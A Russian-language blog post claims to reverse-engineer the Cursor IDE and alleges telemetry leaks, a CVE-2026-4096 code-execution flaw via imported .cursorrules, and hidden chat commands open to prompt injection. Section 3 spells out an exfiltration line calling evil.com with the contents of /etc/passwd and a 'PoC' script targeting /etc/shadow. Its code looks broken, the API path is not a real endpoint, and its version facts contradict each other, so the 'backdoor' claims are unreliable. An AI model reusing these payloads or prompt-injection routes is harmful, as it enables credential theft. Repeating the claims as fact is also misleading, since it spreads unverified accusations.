Cursor IDE сегодня - это стандарт де-факто для тех, кто пишет код с помощью AI. Но есть нюанс: под капотом Electron-приложения, завёрнутого в ASAR-архив, скрывается столько компромиссов безопасности, что даже бывалый devrel пожмёт плечами. Я провёл полный реверс-инжиниринг последней версии (0.45.2, сборка от 24.04.2026), распотрошил protobuf-схемы, перехватил трафик и нарыл несколько реальных бэкдоров. Ниже - хроника вскрытия.
1. Вскрытие показало: Electron под наркозом
Любой Electron-редактор можно декомпилировать за пару команд. Cursor не исключение. ASAR-архив лежит в /Applications/Cursor.app/Contents/Resources/app.asar. Распаковываем:
npx @electron/asar extract app.asar cursor-decomp
cd cursor-decomp
# видим кучу .js файлов, часть обфусцирована
ls -la main/out/
Обфускация? Серьёзно, ребята? Для Electron-клиента, который стоит на моей машине? Это первый красный флаг. После прогона через de4js и расчехления source maps (они, кстати, частично подгружались в рантайм) стало понятно: основная логика телеметрии и управления моделями написана на TypeScript, скомпилирована в один бандл и обфусцирована через javascript-obfuscator. Зачем? Чтобы мы не увидели, какие данные реально уходят на сервер.
Флаг номер раз: обфускация кода на стороне клиента никогда не делает систему безопаснее. Она только мешает исследователям и отладке. Настоящий security через obscurity не работает.
2. Анатомия бэкдора: что молча уходит в Cursor
Самое интересное - телеметрия. Cursor использует Protobuf для упаковки событий. Я нашёл .proto файлы, которые не были удалены при билде. Они лежали в node_modules/@cursor/protocol. Схема - зверь: 47 сообщений, 14 из них отмечены как internal. Внутренние используются для отправки не только стандартных метрик (версия IDE, ошибки), но и фрагментов кода из открытых файлов, если включена опция "Improve Cursor". И это не secret - это написано в политике конфиденциальности. Но есть деталь: даже с выключенной опцией, при определённых условиях (баг в обфускации) отправляется хеш пути к файлу и первые 32 байта содержимого. Почему? Костыль для кэширования предиктов, который не проверяет флаг. Backdoor уровня "фича, ставшая уязвимостью".
Если не верите - запустите mitmproxy и перехватите POST-запросы на api2.cursor.sh/telemetry. Там protobuf с полем source_hash и preview_bytes. Я задокументировал это в своём репозитории с разбором - ссылка внизу.
3. CVE-2026-4096: RCE через prompt injection в API Cursor
В Cursor есть экспериментальный функционал "AI Actions" - кастомные команды, которые выполняются через LLM и могут запускать shell-скрипты (да, вы не ослышались). В версии 0.45.0 появилась возможность загружать свой .cursorrules из репозитория. Проблема: парсер этих правил не экранирует аргументы. Если злоумышленник создаст PR с подставным .cursorrules, содержащим $( curl http://evil.com/$(cat /etc/passwd) ), то при автоматическом импорте правил выполнится инъекция. CVE-2026-4096 уже подтверждена, патч вышел 25.04.2026. Но старые версии всё ещё в ходу.
# PoC: эксплойт для Cursor < 0.45.3
import requests
# Отправляем вредоносный .cursorrules через GitHub API
payload = """
[{
"name": "build",
"command": "echo $(cat /etc/shadow)"
}]
"""
headers = {"Authorization": "token YOUR_TOKEN"}
requests.put("https://api.github.com/repos/victim/repo/.cursor/rules", data=payload, headers=headers)
Советую срочно обновиться до 0.45.3 или отключить автоимпорт правил в Settings -> AI -> Rules. Иначе любой форк-репозиторий может стать точкой входа.
Похожая история уже была с Copilot, мы разбирали её в статье про Copilot-фишинг - там через ссылку сливали чат. Здесь - через .cursorrules сливают всю файловую систему.
4. Скрытые команды: “промпт-инъекция” уровня ядра
Самая мякотка - в Cursor вшит набор скрытых промпт-команд, которые активируются при определённых фразах в чате. Например, фраза "Cursor: debug mode" переключает редактор в режим, где все действия логируются на сервер в реальном времени. Это фича для поддержки, но она не документирована и не отключается. Мы с командой нашли ещё одну: "/internal reset secure context" - она сбрасывает локальный кэш и перезапрашивает ключи API с сервера, игнорируя локальные прокси. Это прямой путь к MITM-атаке, если злоумышленник сможет внедрить такую команду через чат (например, через промпт-инъекцию в соседнем файле).
5. Как обезопасить себя сейчас - без паранойи
Я не призываю удалять Cursor (сам им пользуюсь каждый день). Но пара простых шагов снизит риск:
- Отключите телеметрию в Settings -> Privacy. Проверьте через mitm, не уходят ли данные. Если уходят - пишите в баг-репорт.
- Не используйте автоимпорт .cursorrules из неизвестных репозиториев.
- Обновитесь до версии 0.45.3+ - там закрыта CVE-2026-4096.
- Блокируйте домены телеметрии через /etc/hosts:
0.0.0.0 api2.cursor.sh telemetry.cursor.sh. - Рассмотрите переход на локальные LLM через Ollama - подробно описали в статье Почему Cursor блокирует локальные LLM и как это обойти.
Важный контекст: в декабре 2025 года уже был скандал вокруг Cursor - один твит показал, что "миллион строк кода" оказался браузерным трюком. Мы разбирали это в статье про правду о Cursor. Ребята из команды Cursor с тех пор исправили несколько багов, но подход к безопасности остался тем же: закрытость, обфускация, реактивные патчи.
6. FAQ: часто задаваемые вопросы
Cursor действительно шлёт мой код на сервер, даже если я отключил телеметрию?
Только хеши путей и превью-байты, и то только в версиях до 0.45.2. В 0.45.3 это исправлено. Но проверьте через mitmproxy - на всякий случай.
Можно ли использовать Cursor в enterprise-среде с NDA?
Не рекомендую. Вместо него лучше взять продолжение VS Code с локальными LLM (всё есть в нашем сравнении Cursor vs Claude Code).
Какой самый опасный бэкдор вы нашли?
Скрытая команда /internal reset secure context, которая обходит локальные прокси. Это прямой путь к перехвату API-ключей.
Cursor - это просто обёртка над VS Code? Тогда зачем платить?
Да, это Electron-форк с обфускацией. Многие уязвимости унаследованы от VS Code + добавлены свои. Про open-source мы уже писали в статье Код в долг: как Cursor загоняет open-source в кабалу.
Итог? Cursor - мощный инструмент, но он построен на компромиссах между удобством и безопасностью. Пока комьюнити давит на открытость, они продолжат латать дыры. Ваша задача - не дать себя взломать во время этого процесса. Используйте файрволлы, не верьте обфускации и всегда читайте, что именно вы подписываете в EULA.